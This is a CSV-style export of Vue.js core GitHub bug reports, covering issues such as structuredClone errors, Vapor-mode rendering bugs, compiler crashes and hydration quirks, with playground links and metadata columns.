https://play.vuejs.org/#eNp9Us1OAjEQfpWmFzQxywG8kIVEkYMewKA3a0xdhnWx2zbtFEk2++7OdrOwJMqtne+n38y04nfWJvsAfMJTn7nCIvOAwTIldT4VHL3gM6GL0hqHrGIOtqxmW2dKNiDZQGihM6M9sg1sZVD4IFGyKXurhGZMTthgcCN0/d6xzOcOMlyTy7TxuuqprjsOOGfcKhKJdVScWxDS055iRDGBHl3IMDjYzJXRcNUzTfZSBTg+pw0u/hG1TxGz45Y+X57onbKHzulgFHSM+GojT4ftdGmWdEEorZIIdGMstbOqOnOu63Roz7Ez3w5Phz0jfkPLohzbIk923mjaaNyB4JkpbaHArSwWZCP4hEWkwaRS5ucp1qh3oF219ewLsu8/6jt/aGqCPzvw4PYg+BFD6XLAFl68LOFA5yNYmk1QxL4AroFaDE3GlnYf9IZi93gx7WP8i4XOX/3igKB911QTtGHWkS84/c/5hdZPcUfJOOroo9IUP/bgGk8a4Ci5TUZjXv8CaQAXHA==

### Steps to reproduce

Vue.js v3.5.34
TypeScript v6.0.3

```vue
<script setup lang=""ts"">
<script setup lang=""ts"">
import { ref } from 'vue'

const defaultData = [{
  a: '',
}]
const objectRef = ref(defaultData)
const errorObject = objectRef
const object = defaultData

const error = structuredClone(errorObject.value)
const notError = structuredClone(object)

const msgNotError = notError
const msgConsoleError = error

</script>

<template>
  <p>{{ msgNotError }}</p>
  <p>{{ msgConsoleError }}</p>
</template>
```

### What is expected?

We expect not to given error  when setting arguments that is reactive property referred using .value  to structuredClone().

### What is actually happening?

Given this error on browser when using POC.
```
DataCloneError: Failed to execute 'structuredClone' on 'Window': [object Array] could not be cloned.
    at setup (<anonymous>:30:15)
    at callWit... [TRUNCATED]",,2026-05-20 03:31:21+00:00,2026-05-20 03:32:42+00:00,1,nan,0.0009,bug given datacloneerror when setting arguments that is reactive property referred using value to structuredclone vue version link to vue js v typescript v what is expected we expect not to given error when setting arguments that is reactive property referred using value to structuredclone what is actually happening given this error on browser when using poc datacloneerror failed to execute structuredclone on window object array could not be cloned at setup at callwit truncated,bug,-0.4479
vuejs/core,4479718131,Changing the key doesn't trigger moving animation in the TransitionGroup.,"### Version
3.6.0-beta.12

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNrtVttu4zYQ/ZWpUMA2GsnOpumD6qTdBfKwfdhdtEVbYLXo0tJIYUKRBEk5dg3/e4ekLF+SvRR9DRDE5NxneM7Ym+Sl1tmywyRP5rY0XDuw6DoNS6aVuS4kb+nTwWuH7Z+GaY0GaqNaGGXTA5kPMRqM//C+T3mcKnq3+TSmpnRzUmrBHNIZYH774joUAq2qMJ9P6R7kjzJMB3upZCz+1OfUfD49yDW3bi0QbKk0VtdUkL+SPDlLHAllzZvszipJc9r4aEVSqlZzgeatdlxJWyQ5BI3XMSHUwy9B5kyHZzt5eYvl/RPyO7vysiJ5Z9CiWWKRDDrHTIMuqm9+e4MrOg9KarETZP0Z5a9oleh8jdHsVScrKvvALlT7Ojwdl83v9mblUNpdU75Qb7kt5Jam4af4FGD2UNlAhTWX+M4obWHbP75/6R8LSaO0DnRQXR0ajsPwuKxwNQzSrTXm8KZrF2j6asmDdcLlMAs1BSmv/rOHfatR4qnfK6UEMnnqWDNhhxFMjuD6CLAVX0IpmLVXRcJJVSSQD/c+K/wEI4IZnUaQw6gUytLRW/KKzD56v/TbDa+2H4skhH0icMql9K/Y66knEsJmE2eb8Qq2VG5wnZJvrK4/fQb5hcxiIG+/UKZCk8O5XgGBiGIuBCvv6RkBHnjlbkk1m+lVENwib25pWntJxS0lWdMABUYJE7yRqU9gcyhROjRBftdZx+t1Sugg6FGQQUc99CVlcWSxsj779y9iLrLaUZYg+tSW+dJ+24DB+gisR6vvaOf1WytCOTRDUCb38fssy14aw9bjy8mHrGV6PPbqM+ATuLqOlRvKbiTl86jl8B2cn1EtoiP49bc9OAPwIuoIdnUnS09jcKppBN6sNAssHU9i5L6eHciu4JtQWxaiv599yHaqMPJP6MjtwCzO9RO7edE5R9X8XApe3hMqT8oiaEYJ4E4EqoaaG6oSBbb0xPNpDBIDOuPNfItpYxS9kWQtUuCaVbTiwLGGLoRgOh8x4SE+854rAcHLtFaGTMacRurXyoQ+Ytueave49lwjmhFXtp5u+xkQP/3WC+wMbzDyTCR6+jA9S71bkezIl3ObRnxGVR+JSppPfcqefqcdfhUXd/3FV35MKn8INjn4/0HW+Ntlz8MdWS4GsmR+pGmrlv4rKF4C4VJGCDsQ0jZcYi+M6fcd5MRmAbPs4sJC2S14mS7wH45mPMsuL89gRn8Zofl8cpgyZglk2oejd2pzapoJ/Iu8gweA0qzkjho9D9fBMlWGN5zSxx0BAmt3mCLW7NTXJ5g9dj9sWauh4UX4KsXjjRN+JHxh3TwvmudF87xonhfN/180fy/ReIjThrnIfshmNAzHsvMXyfZfGfmy8A==)







### Steps to reproduce
1. pr... [TRUNCATED]",":lady_beetle:  bug,scope: transition,scope: vapor",2026-05-19 17:51:51+00:00,2026-05-22 01:20:30+00:00,0,":lady_beetle:  bug,scope: transition,scope: vapor",2.3116,changing the key doesn t trigger moving animation in the transitiongroup version beta play vuejs org pr truncated,bug,0.34
vuejs/core,4478211695,"compiler-core: <template v-for> + non-identifier :key + v-memo crashes with ""Cannot read properties of undefined (reading 'trim')""","### Vue version

`3.5.32` — also reproduces on every `3.5.13` through `3.5.34` (current `latest`), and on `3.6.0-beta.12`. Last working version is `3.5.12`.

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctOwzAQ/JXVnttUPE6hrQSoBzgAAm51D1GyLW4T27KdUBT531k7tPRQ9eadmd2ZkXu8NybrWsIcp6600nhw5FszF6rUynmQnhoHM1j2IKscriCMYHheQ1jdCTWdDHu8wQOrTV144gngOEE3Xms7ExivgVTDVYGQ7+jnD85kxUA3bqjRDC0jthKYDvEpZwo179l5kEIIbByxZDQ58T0ZcITecY+13GRbpxW37KNeYKkbI2uyr8ZL7ikwh8RErqhr/f2cMG9bGh3w8ovK3Rl86/YRE/hmyZHtSOCR84XdkB/oxccL7fl9JBtdtTWrL5Dv5HTdxoyD7KFVFcc+0aW0T43R1ku1+XSLvSflDqVi0KgMSS+Qv/rxQvX/uDfZbdoTKmD4BW+dtWY=

### Steps to reproduce

Compile the following SFC (the playground link above contains the exact same source):

```vue
<script setup>
const items = [{ id: 1 }, { id: 2 }];
</script>

<template>
  <template v-for=""item in items"" :key=""item.id"" v-memo=""[item]"">
    <span>{{ item.id }}</span>
  </template>
</template>
```

Equivalent programmatic repro (no SFC needed):

```js
const { compileTemplate } = require('@vue/compiler-sfc');
compileTemplate({
  id: 'x',
  filename: 'x.vue',
  source: \`<template v-for=\""item in items\"" :key=\""item.id\"" v-memo=\""[item]\""><span>{{ item.id }}</span></template>\`,
});
```

### What is expected?

The template compiles successfully, as it does in `3.5.12` and as the existing test `compiler: v-memo transform > on template v-for` does for a simple-identifier key (`:key=\""x\""`).

### What is actually happening?

`compileTemplate` throws:

``... [TRUNCATED]","scope: compiler,:hammer: p3-minor-bug",2026-05-19 14:25:49+00:00,2026-05-27 06:30:10+00:00,0,"scope: compiler,:hammer: p3-minor-bug",7.6697,compiler core non identifier key v memo crashes with cannot read properties of undefined reading trim vue version also reproduces on every through current and on last working version is link to compile the following sfc the playground link above contains the exact same source equivalent programmatic repro no sfc needed what is expected the template compiles successfully as it does in and as the existing test does for a simple identifier key what is actually happening throws truncated,bug,0.25
vuejs/core,4474833195,logMismatchError() called redundantly in loop when SSR has excess child nodes,"### Version
3.6.0-beta.12

### Reproduction link
[github.com](https://github.com/vuejs/core/blob/main/packages/runtime-core/src/hydration.ts#L431-L450)







### Steps to reproduce
1. Open packages/runtime-core/src/hydration.ts
2. Find the while loop inside hydrateElement at line 431
3. Observe that isMismatchAllowed() and logMismatchError() are both 
   called on every iteration of the loop, once per excess DOM node
4. Compare with the isMismatchAllowed() or logMismatchError() pattern used 
   elsewhere in the same file like hydrateChildren at line 608 where 
   the same redundancy exists

### What is expected?
isMismatchAllowed() and logMismatchError() should each be called once per mismatch event, regardless of how many excess nodes need to be removed.

### What is actually happening?
Both are called N times where N is the number of excess DOM nodes. The console.error only appears once due to the hasLoggedMismatchError guard inside logMismatchError(), but the calls themselves are redundant. The fix is to hoist the check outside the loop:

<!-- generated by vue-issues. DO NOT REMOVE -->","🔩 p2-edge-case,scope:hydration",2026-05-19 06:04:00+00:00,2026-05-27 06:29:47+00:00,0,"🔩 p2-edge-case,scope:hydration",8.0179,logmismatcherror called redundantly in loop when ssr has excess child nodes version beta github com open packages runtime core src hydration ts find the while loop inside hydrateelement at line observe that ismismatchallowed and logmismatcherror are both called on every iteration of the loop once per excess dom node compare with the ismismatchallowed or logmismatcherror pattern used elsewhere in the same file like hydratechildren at line where the same redundancy exists what is expected ismismatchallowed and logmismatcherror should each be called once per mismatch event regardless of how many excess nodes need to be removed what is actually happening both are called n times where n is the number of excess dom nodes the console error only appears once due to the hasloggedmismatcherror guard inside logmismatcherror but the calls themselves are redundant the fix is to hoist the check outside the loop,bug,0.4854
vuejs/core,4474118986,[Vapor] Slot without animation,"### Vue version

3.6.0-beta.12

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuaLmmBxs6SbYfMDfaBHrbDNmw57CBgcB3aVStLgkS7KYL895G247pA25Mo8vHpkU8H+dn7pG1ArmUWi6A9igjYeNHm3oWNsrqmE8VBBCjFUZTB1WJGDbOx9NXVfsgnKV+Yb/ZR2cLZSHQ37l5ccvsZhgbOlc3S/iVipwtC7U2OQDchsusG0VnxqTC6uLtUcuh+w6eSm62rKgNZ2sM6AmriR7t2ine6Fe1cl0Mv9ayylJI9faePwiydPKusvJAYSW6pq+Q2OkvbODBeyYLw2kD46VHTOEquRVfhWm6Mu//e5Xiyi1O+uIHi7pn8bdxzTslfASKEFpQca5iHCrAvX/35AXuKx2Ltdo0h9CvF3xCdaVhjD/vS2B3JnuA6td86y7SttvFqj2DjaSgWyshjh1eSLORVvTT6o9xV8q7rU/ZIWzzZ/8J3es35bchJDj91sjIax0iOe2M3y+Wjl+zmiMjSJ+1P7M0iPhgOknYOFiHM8wJ1y75QxkDewpDp58ORaS1oaWKRvI8C8gj0pWnMCQ9/+ikLuglD6ULNe6WQhfw9my8Xfn9OJEI4nxcaH9Zi0XPSJING2uG/FgL7QjtcJR+SxfwaME/eLuXxP4uYO4E=

### Steps to reproduce

click the button

### What is expected?

slot has animation

### What is actually happening?

slot without animation

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-05-19 03:15:13+00:00,2026-05-19 06:12:18+00:00,0,nan,0.123,vapor slot without animation vue version beta link to click the button what is expected slot has animation what is actually happening slot without animation system info any additional comments no response,others,-0.296
vuejs/core,4467956694,[Vapor] Compilation error in renderEffect content,"### Vue version

3.6.0-beta.12

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFOwkAQ/ZXJXpAECojx0BQSNRz0oEa9scSUMtbCdrfZnVaSpv/ubGuVg+Gyycy8efvem1rcFEVQlShCEbnEZgWBQyoLqOLC2KXUidGOILYWFrCWGqD2D4CKt6hCGBAeaTDqeonKkkMIF0NYLKEGv2oUBsqkF4PZbDCExuMaRm+kjibdf/wHF4R5oWJCrgCibUlkNFRjoxdSMFNHzCrW003QVswllnXd91o50DTRpNtlnmhyQipGghwL+sjSYO+MZr+tESkSkxeZQvtUUMaCpQh7i1LESpmvh7ZHtsQfm7zzicnhn/7eHX1PimeLDm2FUvzOKLYpUjdevT5ybCfD3OxKxegzwxfkMEuvsYPdlnrHsk9wrdr7nO9GmU7f3OpIqF1vygvt4/doPvrdGet/cufBVbsndcMpvldoPScHOA+ug+l4ixQHs0vRfAPl578y

### Steps to reproduce

open the link

### What is expected?

```js
_renderEffect(() => {
    const _arr_0 = _ctx.arr[0]
```

### What is actually happening?

```js
_renderEffect(() => {
    const _arr_0 = _ctx.arr_0
```

### System Info

```shell

```

### Any additional comments?

It seems that the issue is not with the compiler......",,2026-05-18 09:33:24+00:00,2026-05-19 01:16:40+00:00,0,nan,0.655,vapor compilation error in rendereffect content vue version beta link to open the link what is expected what is actually happening system info any additional comments it seems that the issue is not with the compiler,bug,-0.4588
vuejs/core,4446137236,Self closing svg tag breaks `vue` highlighting,"### Vue version

3.5.34

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kE9Lw0AQxb/KuJcolPagpxILKgX1oKKCl72EZBK37j/2TwyEfHdnN7T2UHqbfe/t4zczsjtrl31EtmZlQGVlFXDDNUDp+w5WNJarI52evnbCBvAYoiVFKGtcgBEctjBB64yCggqLFK6N9gGU7+A2+ZfFI0pp4Ms42VwUV6l8rtuwBQue4q3oljtvNPGMCYOz2igrJLpXGwTVcbaG7CSvorbf56wFF3Gx1+tvrH9O6Ds/JI2zN4ceXY+cHbxQuQ7DbG8/XnCg+WAq00RJ6TPmO3ojY2KcY/dRN4R9lMu0T/leQneffjsE1H6/VAJNySnnOaMbPpxZ/R/3enmT/3E9sekPYU6ZYQ==

### Steps to reproduce

Just add a self closing svg in a vue file in a template.

```html
<template>
  <svg />
</template>
```

### What is expected?

The highlighting doesn't break.

### What is actually happening?

The highlighting further down in the file breaks.

### System Info

```shell

```

### Any additional comments?

My use case is:
```html
<template>
  <svg
    v-if=""svgData""
    v-bind=""svgData.attrs""
    v-html=""svgData.innerHTML""
  />
</template>
```

So because of `v-html` I can't put anything in the svg not even a comment. The editor formatter automatically self closes the tag which breaks highlighting.",duplicate,2026-05-14 13:07:34+00:00,2026-05-17 18:37:32+00:00,0,duplicate,3.2291,self closing svg tag breaks highlighting vue version link to just add a self closing svg in a vue file in a template what is expected the highlighting doesn t break what is actually happening the highlighting further down in the file breaks system info any additional comments my use case is so because of i can t put anything in the svg not even a comment the editor formatter automatically self closes the tag which breaks highlighting,others,0.0
vuejs/core,4430308025,Edge Read Aloud triggers insertBefore error in certain cases,"### Vue version

3.5.34

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U21P2zAQ/iu37ANFYg5S2T50LRpDfNikvYgxPkWaQnJpTR3bss9ZUdX/ztkloUSIqFVyd89zfu7F2+zCWtEFzGbZ3FdOWgKPFCyoUi8XRUa+yM4LLVtrHMEWHDawg8aZFo6YdjSELldS1U8BkScr5mVAoSujPUFXKljEBJPT42dvteKD8DbFJsewOIdtoYEfhgv+B+TAj5JWwpW6Nu2EubtCz/O9WtbGBmFrVUnIVqTOa9k9ffYmVKr0ngsq77xRgTCV1SPi8+6AkI8SpHJG+OFQ6D7IJrbKBc4K72tsyqCiskP4IGS2xgdGc2ks4WYlPfDPmxaB0JPUS35vCBrj4BrLGi6UCTWQ4c6VtRhLG1LfBSKj4UulZLXm/ENf+ZS/tmad83yPGdeRj7q3dx6W3B/6AsqmpweF4CtjMUJF39t+hNZ4SdLoGfSRz/3wIpMp2QlvGC9CI5fi3hvNa5i4rN+0Vip0v2zMwFs467PyDJUy/78nX2z6Se+vVlitX/Hf+030Fdlvhx5dx2MaYlS6JdI+fPXnJ7f+INiaOihGvxG8xlQZa9zDvgZds+wDXFL7Ld0Snu6Nv9oQat8XlbaGkbuE570IePlG6c9yp+Is8bij3MXhwsWL/GKgc68MQT4eH3P+deiiDqZMxUcxPYs+8reD95M4FdNs9wi+Zk7m

### Steps to reproduce

1. Open the Vue SFC Playground link in Edge browser
2. Turn on Edge's ""Read Aloud"" feature (three dots -> More Tools, or Cmd + Shift + U)
3. While Read Aloud is reading the text ""This is some testing text for Read Aloud to read"", click the Update button
4. There will be a console error (see below)

```
VM850 about:srcdoc:164 NotFoundError: Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.
    at insert (runtime-dom.esm-browser.js:10870:12)
    at mountElement (runtime-dom.esm-browser.js:7912:5)
    at processElement (runtime-dom.esm-browser.js:7828:7)
    at patch (runtime-dom.esm-browser.js:7694:11)
    at patchKeyedChildr... [TRUNCATED]",,2026-05-12 15:11:51+00:00,2026-05-13 06:37:55+00:00,3,nan,0.6431,edge read aloud triggers insertbefore error in certain cases vue version link to open the vue sfc playground link in edge browser turn on edge s read aloud feature three dots more tools or cmd shift u while read aloud is reading the text this is some testing text for read aloud to read click the update button there will be a console error see below vm about srcdoc notfounderror failed to execute insertbefore on node the node before which the new node is to be inserted is not a child of this node at insert runtime dom esm browser js at mountelement runtime dom esm browser js at processelement runtime dom esm browser js at patch runtime dom esm browser js at patchkeyedchildr truncated,bug,-0.802
vuejs/core,4387112294,Vapor compiler orders `useId()` differently than SSR compiler,"### Vue version

3.6.0-beta.10

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNqVUstOwzAQ/BXLl4JUnKIiDlVUCVAP5QAIerSEQrItLolt+REqRfl31s4DhKCCW3Zmdjy7m4Zeac1qD3RBU5sboR2x4LxecikqrYwjDfEW1gVpydaoikxQPBnJDVjX4ywJRfBCOk06M7TBwkGly8wBqTPsQoyQtBD1sn97QZr+kZNT0rZpErgoCo7LNBojkCaDERZ0Sp3NldyKHdtbJXGAJvRwmqtKixLMvXZCScsp+gcmcFlZqvfbiDnjYTrg+Svkbz/ge3sIGKcPBiyYGjgdOZeZHbiOXj3dwQG/R7JShS9RfYR8BKtKHzJ2smsvC4z9RRfTruOmhdxt7OrgQNphqBA0KNuo5xQ3eXNk9M+4c3YR+7hscYvD1f77B/ztxIP7Lzf+ftLnGkwYEMPM2SWbnb2Ay9j5jLYfTQTkGQ==

### Steps to reproduce

Ignoring that the SFC Playground's ""SSR Output"" tab doesn't render anything for `useId()` since that's not a problem locally.

I am getting hydration errors when Parent Component has `useId()` in the template and Child Component has `useId()` in its setup function.

Inspecting the compiled output shows that in vapor mode the child component runs first, and in SSR mode the parent template runs first.

```js
// Vapor
const t0 = _template(""<div> "")
function render(_ctx, $props, $emit, $attrs, $slots) {
  const n0 = t0()
  const n1 = _createComponent(_ctx.Test)
  const x0 = _txt(n0)
  _renderEffect(() => _setText(x0, ""App.vue: "" + _toDisplayString(_ctx.useId())))
  return [n0, n1]
}

// SSR
function ssrRender(_ctx, _push, _parent, _attrs, $props, $setup, $data, $options) {
  _push(`<!--[--><div>App.vue: ${_ssrInterpolate($setup.useId())}</div>`)
  _push(_ssrRenderComponent($setup[""Test""], null, null, _parent))
  _push(`<!--]-->`)
}
```

##... [TRUNCATED]",scope: vapor,2026-05-05 21:09:01+00:00,2026-05-06 01:26:59+00:00,1,scope: vapor,0.1791,vapor compiler orders differently than ssr compiler vue version beta link to ignoring that the sfc playground s ssr output tab doesn t render anything for since that s not a problem locally i am getting hydration errors when parent component has in the template and child component has in its setup function inspecting the compiled output shows that in vapor mode the child component runs first and in ssr mode the parent template runs first truncated,others,-0.4295
vuejs/core,4374987200,Top-level `await` in `<script setup>` leaks reactive effects when the component is abandoned before the `await` resolves,"### Vue version

3.5.33 

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVN9v00AM/lesvCTVQlpUxsNoCwPtAR5g2gYvBKE0cbvbLndR7i4dqvq/Y19+tLAxpGlvsf3Z/vydnW1wWlVJ4zA4CWYmr0VlwaB11SJVoqx0bWELuS4rZ7GIoap1IwqMwVxnUurNBa5gB6talxBSkTBVQ9rpUjvbhZKxt7hP+GZAfDVYDwA2+niqcq2MhSy3okGYH3SLwowrhaM96gOxI0xPMopGMF90uUmTSUcV5nPoEuFtx+zE9z+oo1y5JEJ/dJtQvJs5CltAGHdICs3GrWQkFhkWy0pmFskCmC2dtVrBu1yK/HaeBi2tNvXoKA0WRy9n4xa0gO22b7/b+WyZLVH6QmQIRZNB86LUBUoq1c6WBmB/VUh2nRVCk6mykk1Wgiw/OqN5XLLHXTk/vm8y3nd5zoaOdD3oxzLfa3fpTIXKtFqRzSW0QkXvIgzV4EcdaszGB/DZ+EDnIA6soedbiXVyY7SiLd5yRstJSKy/VFbQ86bBCfgIx/zzfvI+WzuMe39+jfntA/4bc8e+NDivkYZhJYaYzeo1krwcPrv8jHf0PQRJPycJ/UjwAo2Wjjm2sPdOFUT7AOfZfvQnI9T6ypzdWZKiH4qJMnLn8WlAJ8Ta/Wv0Pd1p8srnpWpHKg73+dh/QKgbzG0Mm8zm1/fu3nujFjMcyyiGyO+F335Pg69NS0ykXkfh96Hxj/4CXFXQ4xZ0Z20iEfzPqRWiub/brfPvbel/M08fc+UUXQNdtpGIFUSloV/GdDIZtdPVVK1WoHAD55QnDEa0NFryf6wTALjllSiRuPbBGEpDU9J78LzcJ9tkgshxk+h4QvWfrnE/9LNIvD/nhxX+2WDN20kKT5PjZDplnzXfBu/rZJJMg91v4JQtHg==

### Steps to reproduce

1. Open [the minimal reproduction](https://play.vuejs.org/#eNqtVN9v00AM/lesvCTVQlpUxsNoCwPtAR5g2gYvBKE0cbvbLndR7i4dqvq/Y19+tLAxpGlvsf3Z/vydnW1wWlVJ4zA4CWYmr0VlwaB11SJVoqx0bWELuS4rZ7GIoap1IwqMwVxnUurNBa5gB6talxBSkTBVQ9rpUjvbhZKxt7hP+GZAfDVYDwA2+niqcq2MhSy3okGYH3SLwowrhaM96gOxI0xPMopGMF90uUmTSUcV5nPoEuFtx+zE9z+oo1y5JEJ/dJtQvJs5CltAGHdICs3GrWQkFhkWy0pmFskCmC2dtVrBu1yK/HaeBi2tNvXoKA0WRy9n4xa0gO22b7/b+WyZLVH6QmQIRZNB86LUBUoq1c6WBmB/VUh2nRVCk6mykk1Wgiw/OqN5XLLHXTk/vm8y3nd5zoaOdD3oxzLfa3fpTIXKtFqRzSW0QkX... [TRUNCATED]",,2026-05-04 08:13:53+00:00,2026-05-06 06:42:09+00:00,0,nan,1.9363,top level in leaks reactive effects when the component is abandoned before the resolves vue version link to open the truncated,others,-0.128
vuejs/core,4372359546,"Vapor Directive inside `<Teleport v-if=""..."">` doesn't run cleanup function","### Vue version

3.6.0-beta.9 - current

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UttKw0AQ/ZVxX1qhTQRFRNLi9UEfVNTHBUmTSVzd7Ibd2Vgp/XcnSVOLSCGQnTlnZs5cVuKyrqMmoDgXic+cqgk8Uqjn0qiqto5gBa+osX1OwGEBayicrWDEQSNppMms8QTNdfBkqxvlYAbjQ5jNYSUNQItajZG25XhU2WBodNj6HRdxZpf5hxvMDnstDX9DLf9uv7gKixkXqfbIlCTuxbNsNgirWqeE0KSsm30AySIQWQMXmVbZ50yKTZKD9i/FnGxZakzintal4aChcyDLIQubf0sBzVQVmwQc2EtPctUwkHVDmObKzWkTmsQM9RLiIR2bSTyIZENMBHnurVBl9OGt4WV0I5Eis1WtNLrHmhT3LsX5MCwpUq3t133nIxdwMvizd8w+//F/+GXrk+LJoUfXoBRbjFJXIvXw7csDLvm9BSubB83sPeAz8uZCq7GnXQWTs+wdXqf2rjspZcpXf7skNH5oqhXaLbrjS8HHdb2n9V+5x9HJcCA8xbcGXZuTB3gcnUZH0wVSGp2J9Q+m/ffy

### Steps to reproduce

The playground link has Vue version initially set to `3.6.0-beta.8` which does not have the problem.

1. Open browser's console
2. Press the ""toggle"" button, ""mount"" is logged
3. Press the ""toggle"" button again, ""unmount"" is logged

Now switch to `3.6.0-beta.9` or above and re-run the steps, ""unmount"" is never logged.

### What is expected?

The directive's cleanup function should run, just like how it does in non-Vapor mode.

### What is actually happening?

The directive's cleanup function does not run.

### System Info

```shell
System:
    OS: freebsd
    CPU: (8) x64 AMD Ryzen 7 1700 Eight-Core Processor          
    Memory: 662.53 MB / 10.53 GB
  Binaries:
    Node: 24.7.0 - /usr/local/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 11.6.0 - /usr/local/bin/npm
    pnpm: 10.33.0 - /usr/local/bin/pnpm
  npmPa... [TRUNCATED]","scope: teleport,scope: vapor",2026-05-03 16:39:59+00:00,2026-05-05 23:48:36+00:00,2,"scope: teleport,scope: vapor",2.2977,vapor directive inside doesn t run cleanup function vue version beta current link to the playground link has vue version initially set to which does not have the problem open browser s console press the toggle button mount is logged press the toggle button again unmount is logged now switch to or above and re run the steps unmount is never logged what is expected the directive s cleanup function should run just like how it does in non vapor mode what is actually happening the directive s cleanup function does not run system info shell system os freebsd cpu x amd ryzen eight core processor memory mb gb binaries node usr local bin node yarn usr local bin yarn npm usr local bin npm pnpm usr local bin pnpm npmpa truncated,others,0.5801
vuejs/core,4365920830,Vapor crashes with Reka Primitive as-child slot forwarding,"### Vue version

`3.6.0-beta.10`

### Link to minimal reproduction

https://github.com/axtho/vue-vapor-reka-as-child-repro

### Steps to reproduce

```bash
git clone https://github.com/axtho/vue-vapor-reka-as-child-repro.git
cd vue-vapor-reka-as-child-repro
npm install --legacy-peer-deps
npm run test:browser
```

If Playwright browsers are not installed locally, either run:

```bash
npx playwright install chromium
```

or point Playwright at a local Chrome:

```bash
PLAYWRIGHT_CHROMIUM_EXECUTABLE_PATH=""/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"" npm run test:browser
```

The reproduction uses:

- a normal VDOM app root created with `createApp`
- `app.use(vaporInteropPlugin)`
- a Vapor SFC (`src/VaporPage.vue`)
- a small VDOM `Button.vue` wrapper using Reka UI `Primitive`
- `Primitive` with `as-child`
- a VDOM link-like child component (`src/components/LinkLike.vue`)

The relevant template is:

```vue
<script setup lang=""ts"" vapor>
import Button from './components/Button.vue'
import LinkLike from './components/LinkLike.vue'
</script>

<template>
  <Button as-child class=""primary"">
    <LinkLike href=""/target"">
      Open target
    </LinkLike>
  </Button>
</template>
```

The `Button` wrapper is intentionally small:

```vue
<script setup lang=""ts"">
import { Primitive } from 'reka-ui'

interface Props {
  as?: string
  asChild?: boolean
  class?: string
}

withDefaults(defineProps<Props>(), {
  as: 'button',
})
</script>

<template>
  <Primitive :as=""as"" :as-c... [TRUNCATED]",,2026-05-01 18:09:44+00:00,2026-05-03 18:51:13+00:00,3,nan,2.0288,vapor crashes with reka primitive as child slot forwarding vue version link to if playwright browsers are not installed locally either run or point playwright at a local chrome the reproduction uses a normal vdom app root created with a vapor sfc a small vdom wrapper using reka ui with a vdom link like child component the relevant template is the wrapper is intentionally small vue import primitive from reka ui interface props as string aschild boolean class string withdefaults defineprops as button primitive as as as c truncated,bug,0.5423
vuejs/core,4334611553,"<Transition mode=""out-in""> + <Suspense> inside a <template v-if> fragment leaks DOM on toggle","### Vue version

3.5.30

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-assboxgb

### Steps to reproduce

Hi Vue team,                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                           
when toggling between two `<template v-if>` branches that each contain a `<Transition mode=""out-in"">` wrapping a `<Suspense>` with an async-setup component, every toggle leaves the previous DOM subtree behind in the container.After N clicks you end up with N+1 copies of the async child rendered. Sibling nodes in the same Fragment (e.g. an `<h4>`) are removed correctly - only the Transition/Suspense subtree leaks.

I came across this from (as a Member) nuxt/nuxt#34859 - it surfaces there because <NuxtPage> renders exactly this structure internally. I reduced it to a Vue-only repro (no Nuxt, no vue-router), which is why I'm filing it here. Conditions (all required to reproduce):                                                                                                                                                                                    ... [TRUNCATED]","scope: suspense,has workaround,:hammer: p3-minor-bug",2026-04-27 09:25:02+00:00,2026-05-06 06:42:29+00:00,0,"scope: suspense,has workaround,:hammer: p3-minor-bug",8.8871,inside a fragment leaks dom on toggle vue version link to hi vue team when toggling between two branches that each contain a wrapping a with an async setup component every toggle leaves the previous dom subtree behind in the container after n clicks you end up with n copies of the async child rendered sibling nodes in the same fragment e g an are removed correctly only the transition suspense subtree leaks i came across this from as a member nuxt nuxt it surfaces there because renders exactly this structure internally i reduced it to a vue only repro no nuxt no vue router which is why i m filing it here conditions all required to reproduce truncated,bug,-0.5267
vuejs/core,4303830462,Deeply unwraps refs in reactive objects lead Typescript error,"### Vue version

3.5.32

### Link to minimal reproduction
_you have to sometimes reload the example, because is can break reactivity_
https://play.vuejs.org/#eNqNVMFu2zAM/RVCF6do4BTLdincYl3Xw3ZYh7RHA4OiMI5SWzIkyk0Q5N9Hy3GaAE1TwDBE8vmRfBS9EXd1nTYBxbXIvHK6JvBIoYZSmuImF+RzcZsbXdXWEWzA4XzIL6lINwhbmDtbQcIESW5yo0rpPfyUJGGTGwBlgyG4ab8aXF20Hm2UwwoNPa9r9LLBwUUHBaCF9mn8Im1kGfDyEkYjUNIkBEyrCwNkoXa2RkdryEVE5QKsgatrMJZhBux0iYpaxu1RvgnOj9Md5Osy3RmQTtOiQtIK2izSzKAKnmCKYOdAXDIk0qyTISQmVFN07WmqC20oAeva/MiBiEx3NfDDwljDNJ6sQ5bD4GsUacCSdJFe0acdorcHb1DGZqNuRDwQNgirupSEbAFki/HtfaR6jAJkI3bEwDQQsULfVanVC080FpG+MwcedG9cw2bTVdsJBNttNuqIPkW6F5s5d+dzlAB9G5P+dp3r5Ei0Ex0dZj/Gf66xEzlONXg2RTY6GJsY8n7xBZjrIl16a3gJ4+XMhbJVrUt0jzVpnmoumH2nkpBlaV9/Rx+5gMPerxaoXt7xL/2q9eXir0OPruGV2cdIugKpCz88/cEVn/fBys5CyegPghP0tgxtjR3sRzAzLvsAF6v9FX8f2hTP/mFFaHzfVFto3JOI55UOeP9B62/ljtOv/X6xiv8adC0nCzhOv6XjL2L7H0IgqVU=

### Steps to reproduce

Create an ES Class or Object with a function using `this`
```js
class Data {
  count = ref(0)
  increment() {
    this.count.value++
  }
}
```
And make it a `reactive()`
```js
const reactiveStore = reactive(new Data())
```


### What is expected?

As described in [docs](https://vuejs.org/api/reactivity-core.html#reactive), the ref gets deeply unwraps, and the  increment function should work.

### What is actually happening?

